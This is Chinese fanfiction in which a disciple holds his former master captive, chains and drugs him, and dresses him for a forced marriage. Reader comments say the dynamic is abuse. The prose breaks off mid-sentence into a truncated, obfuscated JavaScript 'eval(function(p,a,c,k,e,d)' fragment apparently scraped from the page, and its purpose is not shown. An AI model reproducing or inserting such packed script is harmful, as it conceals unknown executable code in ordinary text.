而一旦退让一步,就有着十步、百步、千步等着你。即便是对方不需要你做什么,可被人‘算计’的阴影如影随形,为了保证对方不对你造成危害,难免要‘附和’与‘取舍’。 一句‘你也不想xx’的杀伤力为什么那么大? 就是因为对方掌握了你的弱点。 而暴露喜好,就是被对方探知弱点的第一步。 可如果沈清秋不想被人‘猜测出喜好’,他就要一视同仁的将所有物品都用上一遍,将所有菜肴都夹上一遍,‘被动’的将对方递过来的所有东西,满盘皆收。 这是阳谋,光明正大、毫无破绽。 沈清秋要么选择暴露喜好,然后被他人拿捏;要么选择全部接收,然后成为对方希望‘成为’的人。 而这其中…… 一旦沈清秋选择穿某件洛冰河精心挑选的服饰,当初购买这件衣物时存在的小小心机,就会以某种隐秘的方式被实现。 —— 沈清秋的衣物消耗得很快,为什么用‘消耗’呢——因为他要做化学实验。 众所周知,所有被人工合成的物质,腐蚀性比天然形成的要强太多。 而无论是提取精华、还是淬炼元素,亦或是两种药剂掺杂反应,都存在一定程度的爆炸和外溢风险。 更别说沈清秋偶尔还要炼丹。水银、硫磺、火药等玩意,全都是道家炼药‘制作’出来的。 所以说,研究员的衣物,那真是消耗品。想要从实验室里体面的‘出现’,更衣室里至少要备上两三套能见人的衣服。 当沈清秋将衣服都霍霍个遍,无奈只能扒拉出某件腰间略微收紧、两侧系有飘逸丝带的外衫,还恰好被洛冰河捞出来‘吃饭’时。 洛冰河的眼睛亮了。 这件衣服,与他在某个不正经的地方曾见到过的,有那么一两分的相像。 而正是这‘一点点’的相像,令为沈清秋采购衣物的洛冰河,一反常态的将其拿下。 沈清秋的习惯一直是简单素净,除非说有重要场合,根本懒得穿繁复麻烦到极致的峰主服。修真者不惧严寒酷暑,故而沈清秋平日里都是素白内衬+广袖外衫,窝在竹屋或后山远离人烟。 熟知沈清秋习性的洛冰河,本不该为对方选择这样‘花哨’又‘修身’的衣物。奈何少年曾见过某些不干不净的东西之后,虽然理智疯狂压制,心底却生出一些幻想来。 就像是他身为弟子本该谨遵本分,但他却还是压不住心中的冲动,趁着沈清秋昏迷将对方拥入怀中;他师尊喜好素净,可若是能‘为他’穿上略显身材、含有某些暗示的衣物,洛冰河又怎能不心生妄想? 故而——在某些复杂的念头里,洛冰河还是挑选并且购买下来,虽知道沈清秋会穿的可能性几乎为零,但还是忍不住心中期待。 就像是他觉得自己师尊总会被自己‘感化’,但实际上却从没有得到明确反馈;他心里明知‘祈祷’基本不会成功,但又不愿意放过任何一个机会。 说不定他再努力一下就行了呢? 说不定这次他就正好令沈清秋开心了呢? 说不定他师尊与他一样的想法,只是碍于世俗伦理,与他一样在压抑对他的感情呢? 洛冰河知道自己的心态有问题,但除此之外,他也做不了什么—— 毕竟他总不能没事入沈清秋的梦境,去问对方究竟对他什么看法,会不会为了他放弃一些东西,改变一些东西吧? 别说这种可行性高不高,这种随便拎出来都觉得‘莫名其妙’的疑惑,他师尊如果真听到这种‘离谱’的问句,大概率会直接一脚踹过来,用行动表明态度。 只是,当沈清秋在毫无所知的情况下满足了洛冰河的隐秘心思后,洛冰河虽然极力压制,掩不住的笑意却还是从眼角溢出。 微笑是可以传递情感的,虽然沈清秋并不理解对方为什么这么‘开心’,却还是由衷地受到了轻松愉悦的氛围感染,连紧绷的脸庞弧度都显得柔化些许。 洛冰河还是第一次看见沈清秋露出冰冷、淡漠、无所谓、别打扰劳资、恨不得以命拼杀之外的情绪。 就像是万年寒冰融化了一个小角,露出里面洁白通透的结晶。 他师尊长得那么好看,本就该多笑笑的。 只是沈清秋的过去太沉重了,即便是走到峰主位也不曾有人真心待他,为他披荆斩棘的排忧解难、为他露出笑颜而绞尽脑汁。 不过无所谓,既然他出现了,沈清秋之后会出现更多的表情,更张扬的笑意,更柔和的……面容。 有点恐怖(☉?☉) 啊,实际上当你被其他人‘控制’的时候,就是这样的……只不过吧,一般的‘强制爱’,会‘忽略’这个情况 好像代码啊 差不多吧……基本上就是倒推:通过你对那件物品的使用程度来推算你喜欢的概率,接着调整物品分类,继续上一步操作。 其实现在‘大数据分析’的‘垂直领域’,就是这个逻辑。甚至某音的底层推送,也是这样的。 通俗点的名字叫……‘个性化’ 〈冰九25〉沈清秋要出门 “您想出门,可能要……带点东西。” “大概就是锁链之类……需要弟子一直跟着您……” ———— 沈清秋看着莫名其妙乐起来的洛冰河,眼皮略微压下,脑海中快速将最近的事情过上一遍,并未发现足以令对方笑成傻子的事件。 所以说,是魔界,或者说‘外界’发生了什么? 那么。 沈清秋之前尝试过在魔界以灵力修炼,效果很差。但离奇的是,每次他的灵脉爆体之后,他都该身受重伤、濒死才是,可为什么,每次都能在很短的时间快速恢复? 尤其是,每昏迷一次,他体内的经脉都会随着他的‘爆体’而扩宽几分。 很难说这两者之间存不存在别的联系,但在修真界中,走火入魔的人经脉爆体后会撕裂成无数碎片,需要动用不少的灵丹妙药、小心翼翼的修补维护,才能令经脉重塑。 而且,重塑之后的经脉因破损过,往往会存在‘留不住灵气’或某些地方较为薄弱,很容易再次‘破碎’的情况。 就像是……一条原本有着正常河堤的流水,在某些洪涝灾害的影响下发生了异变,且不说河流是否更换路线,被冲毁后再次修建起的河堤,却是极其容易出问题的。 但魔界这边不同。 沈清秋明明因灵魔冲突出现过几次经脉损毁,每次都是皮肤如块状皲裂、五官与身躯到处溢血,气息虚弱、血脉倒转,一副‘玩完’的样子。 可每一次,他都能顽强的醒过来,经过几天的虚弱期后,恢复正常(甚至还有点更强?)。 这与他一开始猜测的‘魔族具有某种能活死人肉白骨的灵宝’极为重合,勾的沈清秋实在想将这样的东西占为己有。 既然‘外界’发生了一些魔族开始‘重用’洛冰河的事件,是不是说明仙魔战场上的高端战力已经开始出现死伤? 如果一个族群开始派遣青壮年上场,并且这些热血男儿还一个比一个兴奋的话…… 说明这个战况不仅很激烈,还是魔族占优。 身为能自由活动,土生土长并且立场绝对属于修真界,其本身也是修真界一大巅峰战力的沈清秋,肯定需要做点什么,帮修真界扰乱魔族的后方,顺便抢几个宝贝、早日离开。 洛冰河并不知道光他的一个‘傻笑’,沈清秋已经脑补了n多的事情,并且对魔族的天魔血蠢蠢欲动,想要将这等‘救治神药’搞到手。 他只是有些受宠若惊的帮沈清秋拉好板凳,认真的将每一道菜的‘试过毒’后,眼含热切的看着沈清秋。 沈清秋面色平淡的夹上几筷子菜肴,提出需求:“我要出门。” “?” 沈清秋的这个要求是洛冰河没想到的。 毕竟沈清秋在清静峰的时候是个很宅的家伙,往往数年间都看不见对方下山,若非岳清源亲自寻找,他甚至都不愿意展露在外人面前。 这样一个‘不喜出门’的人,现在却想要出去? 事出反常必有妖,他这师尊在想什么? “您可是缺什么物件?” 洛冰河尽可能按照沈清秋的逻辑去思考——能让一个研究员专门出去寻找的资源,一定是不容易获得的。 如果沈清秋想要单纯的看风景,他宫殿中移植构建了不少景观,却从未见对方感兴趣过。 那么沈清秋突然提出要出门,总不能是心情不好,要出门遛弯;或者心情很好,想要体验魔界的风土人情吧? 可惜,沈清秋只是‘告知’洛冰河,并没有打算细讲或者‘请求’的意思,在确认洛冰河知晓这个事情后,转身就走。 “等一下……” 洛冰河也顾不得‘弟子喊停尊师’究竟合不合礼法,他快步跑到沈清秋面前,看着对方面色平淡中有些莫名其妙的疑惑,有些扭捏的不敢抬头: “师尊,众人皆知您住在弟子这里……” 这句话是美化了无数层才讲出来的。 毕竟沈清秋的身份是魔界的俘虏、洛冰河讨要的奴,而且魔界那些在战场上失去亲人的魔族们,对沈清秋的怨恨和想要他偿命的心是从来不曾断过的。 就算是那些不在乎炮灰命运的达官显贵,他们对沈清秋的恶意与‘想要玩弄’的心思,也是极为肮脏且直白的。 若不是洛冰河始终不答应将沈清秋‘带出来给大伙看看’,又因沈清秋作死闹出‘洛冰河数次将沈清秋折腾成濒死’的传言,哪有沈清秋的平坦日子过? 可若是沈清秋就那么大大咧咧、完好无损、看起来精神状态极佳的在大庭广众下行走……估计不需要多久,沈清秋与洛冰河就可以体验地牢几日游,去牢里做师徒了。 所以洛冰河这句话实际上的意思应该是‘其他人都觉得你是我的床奴,哪有床奴像你一样悠然自在,甚至还能随时离开屋子、走到街上遛弯的?’ 沈清秋稍微转个弯就明白了对方的意思,心中不禁生出淡淡的怒火。‘家奴’,还真是,好久没听到过的称呼了。 不过,洛冰河既然这么说,就料定了沈清秋不会直接与他对打,然后强行‘闯出去’。 所以沈清秋只是用他那双平淡中蕴藏了想要打杀万物的狂暴眸子,定定的看着对方。 若是他给不出什么‘解决良策’,待沈清秋再认真研究一下魔气构成,恢复修为之后,这些个魔族和魔界,都没有存在必要了。 洛冰河忍着头皮发麻和立刻认错的冲动,僵硬的抬起头,心中紧张万分、却突然生出一丝极为不合时宜的悸动,艰难张口: “您想出门,可能要……带点东西。” 毫无意外的,洛冰河看见沈清秋脸上的平淡转化为暴怒,然后身边的房屋装饰与桌椅板凳,都遭到了毒手。 只是对方体内的灵力储量并不算多,修为也被魔气所压制,大概只是刚刚进入练气初期的样子,不仅那些东西并没有变成烟尘,连稍远一些的布景都波及不到。 以沈清秋这样的修为与这张绝对会惹出事端的脸,还有现在的‘床奴’身份,是出个门就会被人掳走,然后不知道会发生什么诡异开展的程度。 但,无论遇见谁,都不可能像洛冰河这样给予沈清秋最宽松的生活环境,还放任他各种研究和作死。 若是运气不够好,就算是洛冰河即使将人带回来,也不好说会发生什么不可挽回、大家都不想看到的局面。 “说。” 沈清秋闭了闭眼睛,声音就像是被咬碎的琉璃一样,从沉闷又灼热的胸腔发出。十分的冷漠与没有感情,就像是寒冬腊月的冰碴子一样,甚至还因过度气愤激发了回音。 “大概就是锁链之类……需要弟子一直跟着您……” 洛冰河用极快的速度说完,接着心里已做好了被揍一顿的打算——以沈清秋表现出来的傲气来说,对方是绝对不可能接受的。 所以……他要小心的收缩肌肉、控制受伤部位,万一沈清秋力道用的过大,他受伤严重了,就没办法‘缠着’对方了。 只是令洛冰河没想到的是,沈清秋居然没揍他,还要求他准备出门所穿的衣物? 这…… 沈清秋想要找的东西,究竟是什么?愣是能让他花费如此巨大的代价,也要搞到手? 这个开展……嗯,是挺多废料必备桥段 期待 咳咳咳,这个可不兴写啊,会被反复屏的……要真感兴趣,不如去看冰九第一的〈佞宠〉,那叫一个带劲(就是要跳转才能看全) 娈宠它不这么合我可味,我比较喜欢是醉大之类的甜宠风或者是大大你这种互恨互杀风。 互恨互杀……原来我风格这么明显哈 其实我一开始是歪到齁甜的,只不过后面觉得太虚假了,不太符合咱‘阴谋诡计’的喜好(虽然写不出来权谋,但咱就是想努力!) 唔,是口味不是可味。确实,而且大的写的人物也很出彩,符合人物的底色。我也能摁到那个点,而有些文我就摁不到那个点,我很疑惑在经历自己被虐到死去给来,山门被屠,自己在乎的人死绝他真的能爱上那个施暴者吗?如果真的爱上那究竟是爱还是病,或者是无奈之下又无处可去的妥协? 如果真的有人能失去一切后‘爱上’施暴者。大概……是脑子有坑吧。啊,这就是为什么我写出来的冰九永远互杀(笑死)两个人之间隔着那么多的‘人命’,他们本就,没有资格HE 对。这就是我看不下去的原因[老福鸽/狗头]一开始看了太多乱七八糟的小说,然后脑子疼,怒而自割腿肉,干脆开几个脑洞 好好好,到此地步我们清秋依然不坠其志,还在惦记自己的修为,太棒了,洛冰河的爱不值钱,修为和根骨才是自己的 沈清秋:魔族灵宝必须要搞到手! 洛冰河:弟子的血……也能用 沈清秋:很好,一个好用的工具人+血库 〈冰九26〉洛冰河同意了 师尊,‘洛冰河’同意了。 只是一件衣服只是利息,你想要让他带你出门、替你处理后续之事,还需要别的‘报酬’。 ———— 洛冰河没想到沈清秋会同意。甚至说,他已经做好了‘被揍一顿’,思考如何‘阻拦对方’的话语。 但沈清秋虽然很生气,却同意了。 ‘沈清秋同意了洛冰河颇为离谱的要求’。这个认知令洛冰河心中充满了欢喜,但隐隐约约又察觉到不对劲。 他的师尊如笼中鸟一般留在自己身边,却始终不曾为生活的更好一些而冲金主笑一下。这样的态度虽然显得高傲又拔群,但未免在某些时刻,是极为不明智的。 他始终没有认清自己的身份啊。 洛冰河的眼眸深处突然涌起翻滚的黑浪,一抹血红的印记悄然浮现在他的额间。 却随着洛冰河的猛然摇头,消散于无际。 洛冰河快速将一切收拾干净,看着桌子上的一堆锁链犯了难。 脖颈、腰链、手腕、脚踝。 想到沈清秋莫名纤细的身姿,即便是最细的枷锁,也会显得极为明显。而一个人因其他人自愿带上极具暗示性的铁链…… 被束缚的占有欲,被拉扯的控制欲,将捧着手心的师尊化为自己独有宠物的禁忌犯上、违背世俗良序的叛乱感。 无论是哪一项,都不是正经人能干出来的。也同样……几乎是不可能被满足,随便想一想就要羞耻不安,面红耳赤的。 抱着这样的想法,洛冰河很正常的……做了场春梦。 梦中,面色红润的师尊被他拥在怀中,轻喊着他的名字。(别为难我啦,这种细节我真的写不出来,有想法的看大佬的〈娈宠〉吧,咱是真没大佬的能力) 月亮被乌云遮住了脸,夜色随之越发深沉。睡梦中的人,却突然睁开了眼。 他伸出手将被子踢到一旁,为自己更换一身干净衣物,静静的看着高悬于空的月亮,猜着白玉盘的心思。 事出反常必有妖,无事不登三宝殿。 沈清秋不可能‘看不出’那件衣服的与他风格相差太多,却还是穿了。不仅如此,他还刻意在与洛冰河一同‘吃饭’的场合在对方眼前晃,不是刻意是什么? 那个傻子看不出来端倪,洛冰河却能看出来。 那件衣服比其他的腰部要收上一分,领口却低上一寸。沈清秋今天穿出来的,除了腰间的丝带装饰外,看不出来半分‘修身’,相反却比平常更显正经。 因为他在外衫内多加了一层内衬。 在选择腰部松就会领口低,领口正常腰部就要收紧的选择下,沈清秋干脆多加一层内衬挡着领口,然后腰部放宽的同时,调整丝带的装饰位置,遮掩会暴露腰线的绑带。 真是聪明啊。 洛冰河眼皮略微垂了垂。 他的‘好师尊’究竟想要什么呢。 竟然为了别的东西,为‘洛冰河’花上心思,只为了那句‘我要出门’不被‘驳回’。 当然,对方可能并没有打算今天就说出那句话,大概率是发现了什么,用这件衣服为代价进行试探。在明显看到洛冰河表现不同后,顺坡下驴的提出‘要出门’的需求。 换而言之,就是沈清秋实在是个聪明又谨慎的人,知道利用一切可利用的,小心翼翼的分析一切、用各种方式来完成他想要得到的。 这样的‘聪明人’。 实在是——令洛冰河太感兴趣了。 沈清秋处于魔界,不仅修为全无,身份也低微,武器法衣之类更是被丢到不知道那个犄角旮旯,几乎什么都没有。 他本该退无可退,却意外遇见‘曾有师徒关系的弟子’,尤其是,他敏锐的发现了自己弟子对他的‘过度关心’,继而拿捏着尺度,让‘洛冰河’为他搜集需要的物件。 只是他太贪心了。平淡的生活他不想要,廉价的弟子情他不接受,旁人的爱戴与奉献在他看来一文不值,唯有至高的修为和随时离开的‘自由’才值得追求。 可洛冰河会允许他在宫殿内自由自在,却不代表他会为他‘在外挡风遮雨’。 沈清秋的身份实在敏感,洛冰河能关起门来‘金屋藏娇’,阻拦其他人的窥伺,却不能随意带他出门,展露在别人面前。 这两者的难度等级完全不在一个层面,洛冰河会为沈清秋遮掩,并不代表会为沈清秋真的对抗整个魔界。 所以沈清秋干脆以行动满足对方的隐晦心思,接着提出需求,再一众选择中‘答应最低的代价’。 可怜那个傻子满心都是‘师尊居然穿了这件衣服’的诡异满足感,却全然看不出沈清秋正在拉他跳火坑。 只能说,不愧是他师尊—— 位居这种地位,还能想着如何破局。 好在那个傻子还不算傻,知道稍稍讨一些利息——能让沈清秋带着刻有‘洛冰河’名字的锁链出门,怎么不算‘牵红绳’? 只是对洛冰河来说,能让一介仙尊像狗一样带上链子,乖乖将另一头交到自己手上,也算是‘勉为其难’的认可这件事吧。 不过—— 洛冰河突然想到之前那个傻子曾在地上捡到的几件衣物,当时被洗脑的傻子可是失望了好久的,没想到沈清秋只是随便选了一件,那个傻子都会毫不犹豫的‘同意’。 他是不是下的暗示太多,真将自己洗脑成只会情情.爱爱的傻子了? 可没曾想歪打正着,沈清秋居然真吃这一口,就喜欢这种满心满眼都是他,随时随地缠着他,听到吩咐四处奔波为他奉上资源的路子。 只能说不愧是做惯了仙尊的人,这样的‘爱好’,未免有点……太喜欢被人捧着了吧? 这样的‘洛冰河’,即便有些小心机,当沈清秋觉得他有些‘使唤过度’的时候,总会以各种小细节,譬如淡淡的夸赞、简单的指点、偶尔陪洛冰河吃饭等方式进行‘奖赏’。 到还真有些‘师慈子孝’的意味。 洛冰河想到居然会‘示弱’‘提前给出利息’的沈清秋,嘴角勾了勾。 师尊,‘洛冰河’同意了。 只是一件衣服只是利息,你想要让他带你出门、替你处理后续之事,还需要别的‘报酬’。 至于是什么,就等他回头来取吧。 〈冰九27〉等价交换?当然不可能 这世间最无解的计谋就是阳谋;这世间最可怕的毒药就是信任;这世间最让人琢磨不透的,就是以身入局、请君入瓮。 一件衣服换沈清秋出门,一道锁链换洛冰河同意。最差的结果自然是一败涂地,可沈清秋还是以身为饵,喝下了那杯洛冰河亲自斟满的酒。 ——正文—— 次日清晨,是个极好的晴天。当洛冰河踏出房门的时候,还是舍弃了粗重的链子和极具主人气息的铁锁,只拿上一条最为不起眼的手链。 当然,作为一个干了活就要如实上报的好弟子,洛冰河替沈清秋倒上一杯酒,正欲开口,视线所及便看见了布下的层层阵法。 是了。沈清秋怎么可能不知道洛冰河对他的占有欲,也明白昨天他的话语过于轻松,洛冰河的回应过于容易。 所以啊。 洛冰河辗转反侧半夜,沈清秋亦是一夜未眠。两人都不可能如白日里那般平静,夜间究竟做了多少准备,都是心照不宣的刻意展露了。 “师尊,今天是个出游的好日子。”洛冰河笑意温润而乖巧,身上还沾染着晨露。精心挑选的服饰衣袖里,藏着无数能将人锁死在这里的物件。 沈清秋手中把玩着折扇,侧眸略抬,顺着对方的视线看向外界的天空。魔界生存环境恶劣,天色亦是灰蒙蒙中掺杂着血色,院内有洛冰河耗费大力气布下的阵法,所以沈清秋可以自由行动。 但若是出门,无孔不入的魔气,怕是瞬间能将他打成连凡人都不如的虚弱存在。 “天气不错。”沈清秋将视线收回,看着面前的这杯酒。葡萄美酒夜光杯,斑斓透彻的琉璃里,盛放着翠绿色的酒水。这样重的颜色与味道,想要遮掩些什么,或者增添些什么,都是轻而易举的事情。 “师尊不是不喜出门吗?” 洛冰河对坐于沈清秋一旁,笑意依旧是那样的真挚明媚,只是眼里的不解与偏执,破坏了整体氛围。袖中魔纹悄然爬上殿门,将整座寝宫包裹成密不透风的囚笼。 这一个月来,即使沈清秋鲜少出门、执迷于实验之中,却是两人之间难得的和谐。虚幻的如同镜花水月,就像是一场由错误导致的美梦,即便谁都知道脚下满是碎渣,洛冰河还是想尝试闭上眼睛。 “总有些事情,要出去看看。”沈清秋眸光微闪,折扇‘唰’的一下展开,扇面绘着的青竹璀璨欲滴。桌边的酒水散发出清冽的香气,萦绕于两人之间。 清风徐来,将两人的发丝纠缠到一起。洛冰河抬手抓过去,几缕长发缠绕于手心,小心翼翼的握起拳头,将它仔细的放在另一只衣袖内部。 “弟子。”洛冰河抬起头,清澈的眸子里都是沈清秋的身影:“能护住你。” 此去一别,沈清秋将背负着比以往更多的骂名,与所谓的正派勾心斗角;洛冰河将重新唤起魔族的警惕,于魔界中艰难求存。 “您想要的,是魔族血。”洛冰河干脆打开天窗,做最后的尝试:“弟子是天魔,比其他人的血都有用。” 洛冰河看着成功被他吸引过来注意力,向他望过来的仙尊,咬咬牙将话说完:“摩界独有的东西您需要弟子都会给您带过来,修真界有想要的东西弟子也会给您寻来,天魔血更是需要多少就有多少。” “您。”洛冰河双手紧紧叠在一起,维持脸上的温柔守礼:“能不出门吗。” 只要沈清秋不出门,他们的关系就还可以像之前一样。 只要沈清秋不出门,他就还能替他遮风挡雨。 只要沈清秋不出门,无论其他人想要如何攻击于他,洛冰河都能够将其他人挡回。 但只要沈清秋今天出了这个门。 尤其是他完完整整、依旧如修竹般正常走动。 魔尊不可能会放过他们俩。 他们本就是一根绳上的蚂蚱。一荣俱荣,一损俱损。在所有人眼中他们都是一起的,都是一样的。沈清秋的“正常”是所有人都不希望看到的。 当他不出门的时候,洛冰河可以有无数借口;但当他出门露了面,这件事,就不会再有转圜的余地。 ‘啪嗒’,沈清秋手中的折扇放到了桌子上,纤细修长的手中将琉璃杯举起,酒液在内部轻轻摇晃着,发出水流被墙壁撞击的声音。白皙的手指抵住杯沿,流光溢彩的液体残留在浅淡薄唇之上。 沈清秋微微一笑:“有毒吗?” “啊?”洛冰河愣了一下,呆呆的看着沈清秋嘴边尚未擦去的水滴:“没有。” 沈清秋不以为然的抬眼,语气中多了几分潇洒和直白:“我本以为今天走不出去。” “我。”洛冰河额头间红纹突然闪了一下,袖中魔气正顺着檀木案几蔓延,暗红纹路如蛛网般将周遭三尺全部包裹。抬眸与沈清秋对视良久,最后垂下眼帘:“弟子确实,想用链子将您捆起来。” 洛冰河听到一声轻笑。随着空气中的酒味逐渐消散,他看着沈清秋将那杯酒喝干净,冲他露出杯底。这样的动作——洛冰河咽喉突然紧了一下,刚想张口却发现声音嘶哑的说不出来话。 酒中没有毒,也没有药。至少,现在没有生效。 沈清秋伸出细长的手腕,姿态极为随意。晨光倾泻于肌肤之上,莹白的仿若刺眼瓷器。 洛冰河无奈的叹口气,隔着半张桌子的距离,将一早准备的手链替他一点点戴上去。一点不长、一寸不短,银白色的配色显得沈清秋手腕更加苍白。 “魔族血唯有天魔血方可压制。师尊您,是真玩得很大。”引火烧身不说,怕是连死都不易。 布锦摩擦的声音响起,沈清秋将手收回,手链被轻易的掩藏于衣袖之下。闻言眉毛一挑,发出一句挑衅:“怕了?” “舍命陪君子。这样精彩刺激的游戏,弟子怎能不跟随?”洛冰河喉间发出低沉的闷哼:“只是,一个月时间太短了。若是可以,师尊多给弟子些时间不好吗。” “不好。”只要那些算计他的人还活着,沈清秋就想弄死他们。 “以弟子的能力,最多一年。” “本尊等不了一年。” 双方僵持着,同样漆黑的眼睛里,是彼此对命运的不妥协。沈清秋不会做笼中雀,洛冰河也不想那么轻易的放人走。这场试探里,本就没有‘中间选项’。 洛冰河眼中黑雾弥漫,猩红的颜色袭卷而来,魔气在两人身边翻涌,却又眷念而克制着不舍得靠近沈清秋一分一毫。天魔族最后的幸存者收敛了一贯的乖巧与尊崇,勾起一个笑: “师尊就这么看得起弟子,笃定我一定会护着你?” 对方的称呼变了。沈清秋瞳孔骤缩,敏锐的察觉到这一点。 将桌子上的折扇重新打开,玉质的扇坠微微摇晃。他就说嘛,能在魔界生存下来的人,怎么可能纯真良善如小白兔一样。之前的那副样子也不过是对他的伪装,想让他放松警惕罢了。 阳光倾打下来,洛冰河处于光影背面,半明半暗的脸庞上,有着莫名的笑:“弟子将您放出去,你有这个能耐出魔界吗?别最后连累我陪你一起去地牢小住几日。” 沈清秋腕间手链突然收紧,玄铁咬进苍白的皮肤。他恍若未觉地晃着折扇,扇坠随之四处飘扬:“不劳费心。” “师尊说哪里话。”洛冰河缓步走到沈清秋面前,向后挥挥手,魔气翻涌间将沈清秋准备一夜的阵法破解。轻柔的将沈清秋衣袖拉起,将隐约勒出血印的锁链整理的松散些:“师尊一夜未眠,今天当真有精力出去?” 沈清秋一掌将洛冰河推开,手腕的铃铛清脆作响:“你答应我的。” 洛冰河嘴角有点痒,当然,他真的笑出了声。看着‘守信’的仙人,脸上满是恶劣:“我若毁约,你又能如何?” 洛冰河能设想沈清秋会像昨天一样震怒,会生气,甚至会不惜暴露掩藏那么久的修为,执剑与他对打。 却没想到,沈清秋只是轻轻的抬了抬手腕,将那杯喝干净的琉璃杯底重新展示给他。手链上的精巧铃铛在这一系列动作下发出清脆的响声,沈清秋的瞳孔在这一刻干净的仿佛稚子: “你会吗。” 这世间最大的阴谋就是阳谋。这世间最可怕的毒药就是信任。这世间最让人琢磨不透的就是以身入局,请君入瓮。 这件事对洛冰河一点好处也没有。甚至还会让他引起魔族的猜忌,会直接失去‘沈清秋’这个护身也好,执念也罢的【人质】。 可是沈清秋就是这么做了。 一件明显有问题的衣服换他出门,一道亲自戴上的锁链换洛冰河同意。最差的结果自然是一败涂地,可沈清秋还是以身为饵,喝下了那杯洛冰河亲自斟满的酒。 世间最不能揣测的就是人心。可最简单的,也是人心。沈清秋已经给出了洛冰河想要的‘和平共处’,甚至还给出‘信任’这种直击底线的怙毒。 沈清秋此刻的眼神干净的就像是能映出万物的溪水,当一切都计算到位的时候,是不需要任何多余想法的。 洛冰河,你会接招吗? 会如沈清秋所料,成为第二个‘沈九’吗。 魔息化作黑雾缠上沈清秋的腰封,像是在拥着他,亦像是要为他宽衣。万里无云的天色瞬间被阴沉所替代,这一方天地里,空气都为之凝结。 而在这其中,洛冰河笑了。眉眼弯弯,眼底满是晶莹的星光。 其实他一直都在笑。 儒雅的,温和的,礼貌的,恭敬的。 冷漠的,淡雅的,残酷的,阴狠的。 说不清道不明缘由的。 只是这一次,笑的格外开心。 生命理已定;死黄泉独行。争不过反复,如何谈输赢。沈清秋不是好人,这件事他早就知道;他不是好人,沈清秋亦是清楚明了。 即便如此,沈清秋还是信了呢。 属于他的猎物一直在尝试逃跑,现在终于向自己伸出爪牙。最有趣的是,他居然认为‘洛冰河’会是他的盟友,会真如他之前所表现的那样,为他舍弃一切。 沈清秋,你自己都不信的东西,还敢拿自己做筹码,想换洛冰河的帮助? 该说你天真呢,还是该说你实在是有心机、狠毒到连自己都不在乎? “师尊盛情相邀,弟子当然……” 洛冰河做了个邀请动作,伸手抓住沈清秋刻有自己名字的那只手腕:“陪您走一遭。” ——碎碎念—— emmm,后面开九的修真界江湖线和冰的魔界朝堂线。 反正就是开始阴谋诡计权谋篇。 不管写的好不好吧,反正我个人觉得贼带劲。惺惺相惜、旗鼓相当、针锋相对、互相算计,咋的不算爽嘞。 这篇大概有两个月没写,不知道前后够不够连贯,回头有空把前面修一下。 番外:折翼的鸟儿,还能飞翔吗? 沈清秋将手中的折扇放到了桌子上,纤细修长的手中将琉璃杯举起。 清晨的阳光不算刺眼,通透的琉璃杯在光芒的照射下闪烁着暖融的光泽;琥珀般澄澈透亮的酒液在内部轻轻摇晃着,发出水流被墙壁撞击的泠泠声。 白皙的手指抵住杯沿,流光溢彩的液体将浅淡薄唇染上一抹绮丽色彩。 随着酒液从咽喉滑落内脏,一股钻心剧痛从脏腑深处袭来,沈清秋瞳孔骤缩,手中酒杯 “哐当” 坠地,在一片寂静中发出刺耳声响,砸起无数碎屑。 “有毒啊。”他叹了一句。 瞬间黯淡的眸子里,最下层的失望是那样的明显。灵台被朦胧的黑暗瞬间侵蚀,手指微微颤动,最终还是无力地垂落,身躯缓缓向一旁的桌面倒去。 “师尊,就这样留在我身边吧。”洛冰河幽幽叹口气,魔气倾巢而出将周边全部封禁。一步跨过,将晕倒的佳人抱在怀里:“如果你不想出门,我们可以一直做师徒。” 魔尊不会允许修真界的战力重新回去; 魔族没办法看着杀伤那么多人的仙尊轻易逃脱; 修真界那些算计了他的人只希望沈清秋赶紧死在魔界。 所以师尊啊,你非要回去做什么呢。 洛冰河挥挥手,放置于桌边的手链被他收起。既然沈清秋不出门,这个‘礼物’就不需要送出去了。他储物袋里存有之前不敢放出来的东西,既然都闹到了这种程度,就算是给怀中人换上,又能如何? ———— 沈清秋睁眼的时候,看到小腿上印有明显的火焰纹。 那为什么他能第一时间发现呢。 因为他身上的衣服被换掉了。布料轻薄的纯白内衬,长度只到膝盖上方的裤子;腰线被收得极紧,前襟却松散的难以拉起。 以及,枕头旁被放置的,凤冠霞披? 这样的衣物,他应该是没见过的。但某人之前给他送过一次,被他丢掉后,又在衣柜底下翻出来,尝试着与对方做个交易。 很好。他现在真的是床奴了。 恭喜恭喜,他成功把事情玩脱了,好好的‘师尊’不当,愣是把自己搞成了需要以色侍人的存在。 经脉中的灵力再次一点不剩,而且因为增加了天魔血,想要再次将灵力凝结出来,需要费不少力气。 那个小畜生说什么来着?魔族能生白骨肉死人的,是魔族的血? 真好,魔族可真是,挺好的研究素材。 “吱呀——” “师尊,睡得可好?”洛冰河站在门口,阳光倾泻而入,将人影拉得极长。 “...”沈清秋并不想和明知故问的玩意聊天。 殿门在沈清秋的视线里轰然闭合,洛冰河的身影迈着缓慢的步子走到他面前。少年依旧穿着那套准备与沈清秋出门的服饰,只是脸上那个依旧明媚的笑颜,看起来极其刺眼。 “师尊啊,我们之前相处的,不是很愉快吗?”洛冰河笑意温润,抬手扣住沈清秋的腕骨,恰到好处地压制住沈清秋刚费力幻化的匕首:“魔界的风景其实也很有特色,等弟子腾出手来,带您出去玩。” “呵呵。”沈清秋甩开对方的爪子,开始提要求:“先将本尊的研究设备搬过来,再每天给本尊提供一碗天魔血。” “哎。”随手被洛冰河取过来的木梳在他掌心发出细碎的呜咽,又很快被压下去。他认真的拿着梳子,坐在沈清秋一旁,仔细为他梳着:“一梳梳到尾——” “滚!”沈清秋毫不留情的抬起胳膊肘,一记窝心肘狠狠敲过去:“龌龊!” 洛冰河顺着力道起身,额头纹印亮起:“弟子给您一个机会,您若是不想要自己穿,弟子可以代劳。” “?”沈清秋顺着对方视线看过去,注意到那套大红的嫁衣。紧接着,是一旁书桌上,林林总总的金银配饰和一旁已经倒好两杯的,醉花眠月。 “你把我当玩物?!”只有这个原因,才能解释这畜生究竟发什么疯。这么说洛冰河还挺讲究的,收个床奴都要走流程。 “师尊啊。”洛冰河揽着沈清秋的纤细腰肢:“你我本就肌肤相亲,这次只是简单走流程,等弟子收复魔界、打下修真界后,弟子再为您昭告天下,办场众所周知的结亲仪式。” 鎏金酒樽递到沈清秋唇边,洛冰河的睫毛扫着沈清秋的脸颊,带来痒意。 沈清秋毫不犹豫的伸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 